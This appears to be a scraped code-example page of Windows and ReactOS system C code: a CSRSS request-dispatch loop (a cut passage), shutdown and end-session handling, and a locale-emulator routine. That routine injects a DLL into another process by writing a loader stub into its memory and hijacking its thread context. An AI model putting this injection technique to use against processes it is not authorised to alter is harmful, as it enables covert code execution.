    PCSR_THREAD CurrentThread, CsrThread;
    NTSTATUS Status;
    CSR_REPLY_CODE ReplyCode;
    PCSR_API_MESSAGE ReplyMsg;
    CSR_API_MESSAGE ReceiveMsg;
    PCSR_PROCESS CsrProcess;
    PHARDERROR_MSG HardErrorMsg;
    PVOID PortContext;
    PCSR_SERVER_DLL ServerDll;
    PCLIENT_DIED_MSG ClientDiedMsg;
    PDBGKM_MSG DebugMessage;
    ULONG ServerId, ApiId, MessageType, i;
    HANDLE ReplyPort;

    /* Setup LPC loop port and message */
    ReplyMsg = NULL;
    ReplyPort = CsrApiPort;

    /* Connect to user32 */
    while (!CsrConnectToUser())
    {
        /* Set up the timeout for the connect (30 seconds) */
        TimeOut.QuadPart = -30 * 1000 * 1000 * 10;

        /* Keep trying until we get a response */
        Teb->Win32ClientInfo[0] = 0;
        NtDelayExecution(FALSE, &TimeOut);
    }

    /* Get our thread */
    CurrentThread = Teb->CsrClientThread;

    /* If we got an event... */
    if (Parameter)
    {
        /* Set it, to let stuff waiting on us load */
        Status = NtSetEvent((HANDLE)Parameter, NULL);
        ASSERT(NT_SUCCESS(Status));

        /* Increase the Thread Counts */
        InterlockedIncrementUL(&CsrpStaticThreadCount);
        InterlockedIncrementUL(&CsrpDynamicThreadTotal);
    }

    /* Now start the loop */
    while (TRUE)
    {
        /* Make sure the real CID is set */
        Teb->RealClientId = Teb->ClientId;

        /* Debug check */
        if (Teb->CountOfOwnedCriticalSections)
        {
            DPRINT1("CSRSRV: FATAL ERROR. CsrThread is Idle while holding %lu critical sections\n",
                    Teb->CountOfOwnedCriticalSections);
            DPRINT1("CSRSRV: Last Receive Message %lx ReplyMessage %lx\n",
                    &ReceiveMsg, ReplyMsg);
            DbgBreakPoint();
        }

        /* Wait for a message to come through */
        Status = NtReplyWaitReceivePort(ReplyPort,
                                        &PortContext,
                                        &ReplyMsg->Header,
                                        &ReceiveMsg.Header);

        /* Check if we didn't get success */
        if (Status != STATUS_SUCCESS)
        {
            /* Was it a failure or another success code? */
            if (!NT_SUCCESS(Status))
            {
                /* Check for specific status cases */
                if ((Status != STATUS_INVALID_CID) &&
                    (Status != STATUS_UNSUCCESSFUL) &&
                    ((Status == STATUS_INVALID_HANDLE) || (ReplyPort == CsrApiPort)))
                {
                    /* Notify the debugger */
                    DPRINT1("CSRSS: ReceivePort failed - Status == %X\n", Status);
                    DPRINT1("CSRSS: ReplyPortHandle %lx CsrApiPort %lx\n", ReplyPort, CsrApiPort);
                }

                /* We failed big time, so start out fresh */
                ReplyMsg = NULL;
                ReplyPort = CsrApiPort;
                continue;
            }
            else
            {
                /* A strange "success" code, just try again */
                DPRINT1("NtReplyWaitReceivePort returned \"success\" status 0x%x\n", Status);
                continue;
            }
        }

        /* Use whatever Client ID we got */
        Teb->RealClientId = ReceiveMsg.Header.ClientId;

        /* Get the Message Type */
        MessageType = ReceiveMsg.Header.u2.s2.Type;

        /* Handle connection requests */
        if (MessageType == LPC_CONNECTION_REQUEST)
        {
            /* Handle the Connection Request */
            CsrApiHandleConnectionRequest(&ReceiveMsg);

            ReplyMsg = NULL;
            ReplyPort = CsrApiPort;
            continue;
        }

        /* It's some other kind of request. Get the lock for the lookup */
        CsrAcquireProcessLock();

        /* Now do the lookup to get the CSR_THREAD */
        CsrThread = CsrLocateThreadByClientId(&CsrProcess,
                                              &ReceiveMsg.Header.ClientId);

        /* Did we find a thread? */
        if (!CsrThread)
        {
            /* This wasn't a CSR Thread, release lock */
            CsrReleaseProcessLock();

            /* If this was an exception, handle it */
            if (MessageType == LPC_EXCEPTION)
            {
                ReplyMsg = &ReceiveMsg;
                ReplyPort = CsrApiPort;
                ReplyMsg->Status = DBG_CONTINUE;
            }
            else if (MessageType == LPC_PORT_CLOSED ||
                     MessageType == LPC_CLIENT_DIED)
            {
                /* The Client or Port are gone, loop again */
                ReplyMsg = NULL;
                ReplyPort = CsrApiPort;
            }
            else if (MessageType == LPC_ERROR_EVENT)
            {
                /* If it's a hard error, handle this too */
                HardErrorMsg = (PHARDERROR_MSG)&ReceiveMsg;

                /* Default it to unhandled */
                HardErrorMsg->Response = ResponseNotHandled;

                /* Check if there are free api threads */
                CsrpCheckRequestThreads();
                if (CsrpStaticThreadCount)
                {
                    /* Loop every Server DLL */
                    for (i = 0; i < CSR_SERVER_DLL_MAX; i++)
                    {
                        /* Get the Server DLL */
                        ServerDll = CsrLoadedServerDll[i];

                        /* Check if it's valid and if it has a Hard Error Callback */
                        if ((ServerDll) && (ServerDll->HardErrorCallback))
                        {
                            /* Call it */
                            ServerDll->HardErrorCallback(NULL /* == CsrThread */, HardErrorMsg);

                            /* If it's handled, get out of here */
                            if (HardErrorMsg->Response != ResponseNotHandled) break;
                        }
                    }
                }

                /* Increase the thread count */
                InterlockedIncrementUL(&CsrpStaticThreadCount);

                /* If the response was 0xFFFFFFFF, we'll ignore it */
                if (HardErrorMsg->Response == 0xFFFFFFFF)
                {
                    ReplyMsg = NULL;
                    ReplyPort = CsrApiPort;
                }
                else
                {
                    ReplyMsg = &ReceiveMsg;
                    ReplyPort = CsrApiPort;
                }
            }
            else if (MessageType == LPC_REQUEST)
            {
                /* This is an API Message coming from a non-CSR Thread */
                ReplyMsg = &ReceiveMsg;
                ReplyPort = CsrApiPort;
                ReplyMsg->Status = STATUS_ILLEGAL_FUNCTION;
            }
            else if (MessageType == LPC_DATAGRAM)
            {
                /* This is an API call, get the Server ID */
                ServerId = CSR_API_NUMBER_TO_SERVER_ID(ReceiveMsg.ApiNumber);

                /* Make sure that the ID is within limits, and the Server DLL loaded */
                ServerDll = NULL;
                if ((ServerId >= CSR_SERVER_DLL_MAX) ||
                    (!(ServerDll = CsrLoadedServerDll[ServerId])))
                {
                    /* We are beyond the Maximum Server ID */
                    DPRINT1("CSRSS: %lx is invalid ServerDllIndex (%08x)\n",
                            ServerId, ServerDll);
                    // DbgBreakPoint();

                    ReplyMsg = NULL;
                    ReplyPort = CsrApiPort;
                    continue;
                }

                /* Get the API ID, normalized with our Base ID */
                ApiId = CSR_API_NUMBER_TO_API_ID(ReceiveMsg.ApiNumber) - ServerDll->ApiBase;

                /* Make sure that the ID is within limits, and the entry exists */
                if (ApiId >= ServerDll->HighestApiSupported)
                {
                    /* We are beyond the Maximum API ID, or it doesn't exist */
                    DPRINT1("CSRSS: %lx is invalid ApiTableIndex for %Z\n",
                            CSR_API_NUMBER_TO_API_ID(ReceiveMsg.ApiNumber),
                            &ServerDll->Name);

                    ReplyPort = CsrApiPort;
                    ReplyMsg = NULL;
                    continue;
                }

#ifdef CSR_DBG
                if (CsrDebug & 2)
                {
                    DPRINT1("[%02x] CSRSS: [%02x,%02x] - %s Api called from %08x\n",
                            Teb->ClientId.UniqueThread,
                            ReceiveMsg.Header.ClientId.UniqueProcess,
                            ReceiveMsg.Header.ClientId.UniqueThread,
                            ServerDll->NameTable[ApiId],
                            NULL);
                }
#endif

                /* Assume success */
                ReceiveMsg.Status = STATUS_SUCCESS;

                /* Validation complete, start SEH */
                _SEH2_TRY
                {
                    /* Make sure we have enough threads */
                    CsrpCheckRequestThreads();

                    /* Call the API and get the reply code */
                    ReplyMsg = NULL;
                    ReplyPort = CsrApiPort;
                    ServerDll->DispatchTable[ApiId](&ReceiveMsg, &ReplyCode);

                    /* Increase the static thread count */
                    InterlockedIncrementUL(&CsrpStaticThreadCount);
                }
                _SEH2_EXCEPT(CsrUnhandledExceptionFilter(_SEH2_GetExceptionInformation()))
                {
                    ReplyMsg = NULL;
                    ReplyPort = CsrApiPort;
                }
                _SEH2_END;
            }
            else
            {
Пример #10
0
NTSTATUS _ExitWindowsEx(
    PCSR_THREAD pcsrt,
    UINT dwFlags,
    DWORD dwReserved)
{
    BOOL fDoEndSession = FALSE;
    LUID luidCaller;
    NTSTATUS Status = STATUS_SUCCESS;
    UNREFERENCED_PARAMETER(dwReserved);

    if ((dwFlags & EWX_REBOOT) || (dwFlags & EWX_POWEROFF)) {
        dwFlags |= EWX_SHUTDOWN;
    }

    /*
     * Find out the callers sid. Only want to shutdown processes in the
     * callers sid.
     */
    if (!CsrImpersonateClient(NULL)) {
        return STATUS_BAD_IMPERSONATION_LEVEL;
    }

    Status = CsrGetProcessLuid(NULL, &luidCaller);

    if (!NT_SUCCESS(Status)) {
        CsrRevertToSelf();
        return Status;
    }

    try {

        while (1) {
            LARGE_INTEGER li;

            LeaveCrit();
            Status = NtUserSetInformationThread(
                    pcsrt->ThreadHandle,
                    UserThreadInitiateShutdown,
                    &dwFlags, sizeof(dwFlags));
            EnterCrit();
            switch (Status) {
            case STATUS_PENDING:

                /*
                 * The logoff/shutdown is in progress and nothing
                 * more needs to be done.
                 */
                goto fastexit;

            case STATUS_RETRY:

                /*
                 * Another logoff/shutdown is in progress and we need
                 * to cancel it so we can do an override.
                 *
                 * if someone else is trying to cancel shutdown, exit
                 */
                li.QuadPart  = 0;
                if (NtWaitForSingleObject(heventCancel, FALSE, &li) == 0) {
                    Status = STATUS_PENDING;
                    goto fastexit;
                }

                /*
                 * Cancel the old shutdown
                 */
                NtClearEvent(heventCancelled);
                NtSetEvent(heventCancel, NULL);

                /*
                 * Wait for the other guy to be cancelled
                 */
                LeaveCrit();
                NtWaitForSingleObject(heventCancelled, FALSE, NULL);
                EnterCrit();

                /*
                 * This signals that we are no longer trying to cancel a
                 * shutdown
                 */
                NtClearEvent(heventCancel);
                continue;

            case STATUS_CANT_WAIT:

                /*
                 * There is no notify window and the calling thread has
                 * windows that prevent this request from succeeding.
                 * The client handles this by starting another thread
                 * to recall ExitWindowsEx.
                 */
                goto fastexit;

            default:
                if (!NT_SUCCESS(Status))
                    goto fastexit;
            }
            break;
        }

        gdwFlags = dwFlags;
        dwThreadEndSession = (DWORD)pcsrt->ClientId.UniqueThread;
        fDoEndSession = TRUE;

        /*
         * Sometimes the console calls the dialog box when not in shutdown
         * if now is one of those times cancel the dialog box.
         */
        while (gcInternalDoEndTaskDialog > 0) {
            LARGE_INTEGER li;

            NtPulseEvent(heventCancel, NULL);

            LeaveCrit();
            li.QuadPart = (LONGLONG)-10000 * CMSSLEEP;
            NtDelayExecution(FALSE, &li);
            EnterCrit();
        }

        /*
         * Call csr to loop through the processes shutting them down.
         */
        LeaveCrit();
        Status = CsrShutdownProcesses(&luidCaller, dwFlags);

        NtUserSetInformationThread(
                pcsrt->ThreadHandle,
                UserThreadEndShutdown, &Status, sizeof(Status));
        EnterCrit();
fastexit:;
    } finally {
        /*
         * Only turn off dwThreadEndSession if this is the
         * thread doing shutdown.
         */
        if (fDoEndSession) {
            dwThreadEndSession = 0;
            NtSetEvent(heventCancelled, NULL);
        }
    }

    CsrRevertToSelf();

    return Status;
}
Пример #11
0
DWORD MySendEndSessionMessages(
    HWND hwnd,
    PCSR_THREAD pcsrt,
    BOOL fEndTask,
    DWORD dwClientFlags)
{
    HWND hwndOwner;
    LARGE_INTEGER li;
    DWORD dwRet;
    int cLoops;
    int cSeconds;
    WCHAR achName[CCHBODYMAX];
    BOOL fPostedClose;
    BOOL fDialogFirst;
    DWORD dwFlags;
    DWORD dwHungApp;
    HANDLE hNull = NULL;
    NTSTATUS Status;

    /*
     * We've got a random top level window for this application. Find the
     * root owner, because that's who we want to send the WM_CLOSE to.
     */
    while ((hwndOwner = GetWindow(hwnd, GW_OWNER)) != NULL)
        hwnd = hwndOwner;

    /*
     * We expect this application to process this shutdown request,
     * so make it the foreground window so it has foreground priority.
     * This won't leave the critical section.
     */
    SetForegroundWindow(hwnd);

    /*
     * Send the WM_CLIENTSHUTDOWN message for end-session. When the app
     * receives this, it'll then get WM_QUERYENDSESSION and WM_ENDSESSION
     * messages.
     */
    if (!fEndTask) {
        USERTHREAD_FLAGS Flags;

        Flags.dwFlags = 0;
        Flags.dwMask = (TIF_SHUTDOWNCOMPLETE | TIF_ALLOWSHUTDOWN);
        LeaveCrit();
        Status = NtUserSetInformationThread(pcsrt->ThreadHandle,
                UserThreadFlags, &Flags, sizeof(Flags));
        EnterCrit();
        if (!NT_SUCCESS(Status))
            return CMDEND_APPSAYSOK;

        SendNotifyMessage(hwnd, WM_CLIENTSHUTDOWN, dwClientFlags, 0);
    }

    /*
     * If the main window is disabled, bring up the end-task window first,
     * right away, only if this the WM_CLOSE case.
     */
    fDialogFirst = FALSE;
    if (fEndTask && (GetWindowLong(hwnd, GWL_STYLE) & WS_DISABLED))
        fDialogFirst = TRUE;

    fPostedClose = FALSE;
    while (TRUE) {
        if (fEndTask) {
            cLoops   = (CMSHUNGAPPTIMEOUT / CMSSLEEP);
            cSeconds = (CMSHUNGAPPTIMEOUT / 1000);
        }
        else {
            cLoops   = (CMSWAITTOKILLTIMEOUT / CMSSLEEP);
            cSeconds = (CMSWAITTOKILLTIMEOUT / 1000);
        }

        /*
         * If end-task and not shutdown, must give this app a WM_CLOSE
         * message. Can't do this if it has a dialog up because it is in
         * the wrong processing loop. We detect this by seeing if the window
         * is disabled - if it is, we don't send it a WM_CLOSE and instead
         * bring up the end task dialog right away (this is exactly compatible
         * with win3.1 taskmgr.exe).
         */
        if (fEndTask) {
            if (!fPostedClose && IsWindow(hwnd) &&
                    !(GetWindowLong(hwnd, GWL_STYLE) & WS_DISABLED)) {
                PostMessage(hwnd, WM_CLOSE, 0, 0L);
                fPostedClose = TRUE;
            }
        }

        /*
         * Every so often wake up to see if the app is hung, and if not go
         * back to sleep until we've run through our timeout.
         */
        while (cLoops--) {
            /*
             * If a WM_QUERY/ENDSESSION has been answered to, return.
             */
            if (!fEndTask) {
                LeaveCrit();
                NtUserQueryInformationThread(pcsrt->ThreadHandle,
                        UserThreadFlags, &dwFlags, sizeof(DWORD), NULL);
                EnterCrit();
                if (dwFlags & TIF_SHUTDOWNCOMPLETE) {
                    if (dwFlags & TIF_ALLOWSHUTDOWN)
                        return CMDEND_APPSAYSOK;
                    return CMDEND_APPSAYSNOTOK;
                }
            }

            /*
             * If the thread is gone, we're done.
             */
            if (pcsrt->Flags & CSR_THREAD_DESTROYED) {
                return CMDEND_APPSAYSOK;
            }

            /*
             * If the dialog should be brought up first (because the window
             * was initially disabled), do it.
             */
            if (fDialogFirst) {
                fDialogFirst = FALSE;
                break;
            }

            /*
             * if we we're externally cancelled get out
             */
            li.QuadPart = 0;
            if (NtWaitForSingleObject(heventCancel, FALSE, &li) == 0) {

                /*
                 * !!! JimA - We may want to call the kernel to
                 * set TIF_SHUTDOWNCOMPLETE in this case.
                 */
                return CMDEND_USERSAYSCANCEL;
            }

            /*
             * If hung, bring up the endtask dialog right away.
             */
            dwHungApp = (fEndTask ? CMSHUNGAPPTIMEOUT : CMSWAITTOKILLTIMEOUT);
            LeaveCrit();
            Status = NtUserQueryInformationThread(pcsrt->ThreadHandle,
                    UserThreadHungStatus, &dwHungApp, sizeof(dwHungApp), NULL);
            EnterCrit();
            if (!NT_SUCCESS(Status) || dwHungApp == TRUE)
                break;

            /*
             * Sleep for a second.
             */
            LeaveCrit();
            li.QuadPart = (LONGLONG)-10000 * CMSSLEEP;
            NtDelayExecution(FALSE, &li);
            EnterCrit();
        }

        achName[0] = 0;
        if (IsWindow(hwnd)) {
            GetWindowText(hwnd, achName, CCHMSGMAX);
        }

        /*
         * If there's a hard error, put it on top.
         */
        BoostHardError((DWORD)pcsrt->ClientId.UniqueProcess, FALSE);

        if (achName[0] == 0) {

            /*
             * If the thread is gone, we're done.
             */
            if (pcsrt->Flags & CSR_THREAD_DESTROYED) {
                return CMDEND_APPSAYSOK;
            }

            /*
             * pti is valid right now. Use the name in the pti.
             */
            LeaveCrit();
            NtUserQueryInformationThread(pcsrt->ThreadHandle,
                    UserThreadTaskName, achName, CCHMSGMAX * sizeof(WCHAR),
                    NULL);
            EnterCrit();
        }

        /*
         * Set this thread to use the desktop of the
         * thread being shutdown.
         */
        if (NT_SUCCESS(NtUserSetInformationThread(NtCurrentThread(),
                UserThreadUseDesktop, &pcsrt->ThreadHandle, sizeof(HANDLE)))) {

            /*
             * Bring up the dialog
             */
            dwRet = DoEndTaskDialog(achName, pcsrt,
                                        TYPE_THREADINFO, cSeconds);

            /*
             * Release the desktop that was used.
             */
            NtUserSetInformationThread(NtCurrentThread(), UserThreadUseDesktop,
                    &hNull, sizeof(HANDLE));
        } else {

            /*
             * We were unable to get the thread's desktop.  All we
             * can do is kill the task.
             */
            dwRet = IDABORT;
        }

        switch(dwRet) {
        case IDCANCEL:
            /*
             * Cancel the shutdown process... Get out of here. Signify that
             * we're cancelling the shutdown request.
             *
             * !!! JimA - We may want to call the kernel to
             * set TIF_SHUTDOWNCOMPLETE in this case.
             */
            return CMDEND_USERSAYSCANCEL;
            break;

        case IDABORT:
            /*
             * End this guy's task...
             */
            BoostHardError((DWORD)pcsrt->ClientId.UniqueProcess, TRUE);

            /*
             * !!! JimA - We may want to call the kernel to
             * set TIF_SHUTDOWNCOMPLETE in this case.
             */
            return CMDEND_USERSAYSKILL;
            break;

        case IDRETRY:
            /*
             * Just continue to wait. Reset this app so it doesn't think it's
             * hung. This'll cause us to wait again.
             */
            if (!(pcsrt->Flags & CSR_THREAD_DESTROYED)) {
                LeaveCrit();
                NtUserSetInformationThread(pcsrt->ThreadHandle,
                        UserThreadHungStatus, NULL, 0);
                EnterCrit();
            }
            fPostedClose = FALSE;
            break;
        }
    }
}
Пример #12
0
NTSTATUS InjectSelfToRemoteProcess(HANDLE hProcess, HANDLE hThread)
{
    NTSTATUS    Status;
    PVOID       pvBuffer;
    DWORD       Length;
    WCHAR       szSelfPath[MAX_PATH];
    CONTEXT     ThreadContext;
    LARGE_INTEGER TimeOut;
    INJECT_DLL_CURRENT_THREAD inj;

    ThreadContext.ContextFlags = CONTEXT_CONTROL;
    Status = NtGetContextThread(hThread, &ThreadContext);
    if (!NT_SUCCESS(Status))
    {
//        BaseSetLastNTError(Status);
//        PrintError(RtlGetLastWin32Error());
        return Status;
    }

//    PrintConsoleW(L"Eip = %08X\n", ThreadContext.Eip);
//    getch();

    Length = Nt_GetExeDirectory(szSelfPath, countof(szSelfPath));
    if (Length == NULL)
        return STATUS_UNSUCCESSFUL;

    static WCHAR szDll[] = L"LocaleEmulator.dll";
    StrCopyW(szSelfPath + Length, szDll);
    Length += CONST_STRLEN(szDll);

    pvBuffer = NULL;
    Status = Nt_AllocateMemory(hProcess, &pvBuffer, MEMORY_PAGE_SIZE);
    if (!NT_SUCCESS(Status))
    {
//        BaseSetLastNTError(Status);
//        PrintError(RtlGetLastWin32Error());
        return Status;
    }

    Length *= sizeof(WCHAR);
    inj.pfLdrLoadDll = LdrLoadDll;
    inj.ReturnAddr   = ThreadContext.Eip;
    inj.ModuleFileName.Length = Length;
    inj.ModuleFileName.MaximumLength = Length + sizeof(WCHAR);
    inj.ModuleFileName.Buffer = (LPWSTR)((ULONG_PTR)pvBuffer + sizeof(inj));

    Status = STATUS_UNSUCCESSFUL;
    LOOP_ONCE
    {
        Status = Nt_WriteMemory(hProcess, pvBuffer, &inj, sizeof(inj));
        if (!NT_SUCCESS(Status))
            break;

        Length += sizeof(WCHAR);
        Status = Nt_WriteMemory(hProcess, (PVOID)((ULONG_PTR)pvBuffer + sizeof(inj)), szSelfPath, Length);
        if (!NT_SUCCESS(Status))
            break;

        ThreadContext.Eip = (DWORD)(PBYTE)pvBuffer + sizeof(inj) + Length;
        Status = Nt_WriteMemory(
                    hProcess,
                    (PVOID)ThreadContext.Eip,
                    LoadExternDll,
                    (ULONG_PTR)_LoadExternDllEnd - (ULONG_PTR)LoadExternDll
                 );
        if (!NT_SUCCESS(Status))
            break;

        Status = NtSetContextThread(hThread, &ThreadContext);
        if (!NT_SUCCESS(Status))
            break;

        Status = NtResumeThread(hThread, NULL);
        if (!NT_SUCCESS(Status))
            break;

        BaseFormatTimeOut(&TimeOut, 500);
        for (DWORD TryTimes = 30; TryTimes; --TryTimes)
        {
            DWORD Val;
            Status = Nt_ReadMemory(hProcess, pvBuffer, &Val, sizeof(Val));
            if (!NT_SUCCESS(Status))
                break;

            if (Val != 0)
            {
                NtDelayExecution(FALSE, &TimeOut);
                continue;
            }

            break;
        }

        if (!NT_SUCCESS(Status))
            break;

        NtDelayExecution(FALSE, &TimeOut);
        Status = NtGetContextThread(hThread, &ThreadContext);
        if (!NT_SUCCESS(Status))
            break;

        if ((ULONG_PTR)ThreadContext.Eip < (ULONG_PTR)pvBuffer ||
            (ULONG_PTR)ThreadContext.Eip > (ULONG_PTR)pvBuffer + MEMORY_PAGE_SIZE)
        {
            Status = STATUS_SUCCESS;
        }
        else
        {
            Status = STATUS_UNSUCCESSFUL;
        }
    }

//    BaseSetLastNTError(Status);
//    PrintError(RtlGetLastWin32Error());

//    Nt_FreeMemory(hProcess, pvBuffer);

    return Status;
}